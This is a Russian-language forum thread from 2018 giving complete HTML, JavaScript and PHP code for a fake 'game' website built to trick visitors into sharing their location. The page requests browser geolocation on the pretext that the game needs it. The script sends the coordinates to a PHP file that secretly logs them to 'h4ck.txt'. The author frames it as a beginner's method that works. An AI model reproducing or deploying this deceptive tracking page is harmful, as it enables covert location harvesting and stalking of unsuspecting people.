Загрузка...

Determination of geolocation. Fake site

Thread in Security created by sibircorp May 16, 2018. 261 view

  1. sibircorp
    sibircorp Topic starter May 16, 2018 Banned 195 Feb 17, 2018
    Маскировать мы будем наш "проект" под якобы игру.

    Итак, начнём.

    Для начала создадим HTML страничку. (стили записал в HTML страницу, так что не пугайтесь. Просто "проект" был сделан чуть более года назад. Не исключено, что стили кривые)



    Создаем файл index.html - это будет наша основа

    Code

    <!DOCTYPE html>

    <html>
    <head>
    <title>Quest Bot</title>
    <audio autoplay loop>
    <source src="main_theme.mp3" type="audio/mpeg">
    </audio>
    <script src="geo.js"> </script>
    </head>

    <body>
    <div class="background">
    <div class="BotInstruction"><b class="clr">Привет!</b><br>Для игры требуется ваше местоположение.<br>
    <button class="register" onclick="getLocation()">Найти меня</button>
    <div id="demo"></div>
    </div>
    </div>

    </body>
    </html>
    <style>
    .background{
    position:absolute;
    border:solid 1px green;
    width:98%;
    height:98%;
    background:url('gballs.gif') center no-repeat;
    background-size: 100%;
    }
    .clr{
    color: #5e81a8;
    }
    body{
    background-color:#333;
    }
    .BotInstruction{
    position: absolute;
    border: solid 1px green;
    left: 35%;
    top:40%;
    width: 30%;
    }
    .register{
    position: relative;
    left: 35%;
    background-color:#5e81a8;
    text-align: center;
    border:none;
    line-height: 15px;
    color: #fff;
    border-radius:2px;
    box-sizing: border-box;
    padding: 7px 16px 8px;
    font-size: 12.5px;
    }
    </style>

    geo.js - будет запрашивать доступ на геолокацию

    Код:
    Code

    unction getLocation() {
    x = document.getElementById("demo");
    if (navigator.geolocation) {
    navigator.geolocation.getCurrentPosition(showPosition);
    } else {
    x.innerHTML = "Geolocation is not supported by this browser.";
    }
    }

    function showPosition(position) {
    x.innerHTML = position.coords.latitude +"," +position.coords.longitude;
    location.replace("/send.php?login="+x.innerHTML);
    }

    send.php - отправка данных геолокации.

    PHP:
    Code

    <?php

    $Login = $_GET['login'];

    $log=fopen("h4ck.txt","a"); //открываем файл h4ck.txt с правами "a" - запись

    fwrite($log,"$Login\n"); //записываем в файл геолокацию

    fclose($log); // закрываем файл

    ?>


    [IMG]

    И для того чтобы всё работало исправно скачайте вложение с музыкой и гифкой:

    https://drive.google.com/open?id=1D9BqnQ6DkKryrQLruM9P1Nre9ogOKOYZ

    Метод нубовый но все же работает.Изучайте языки програмирования и пилите свои скрипты.
     
Loading...
Top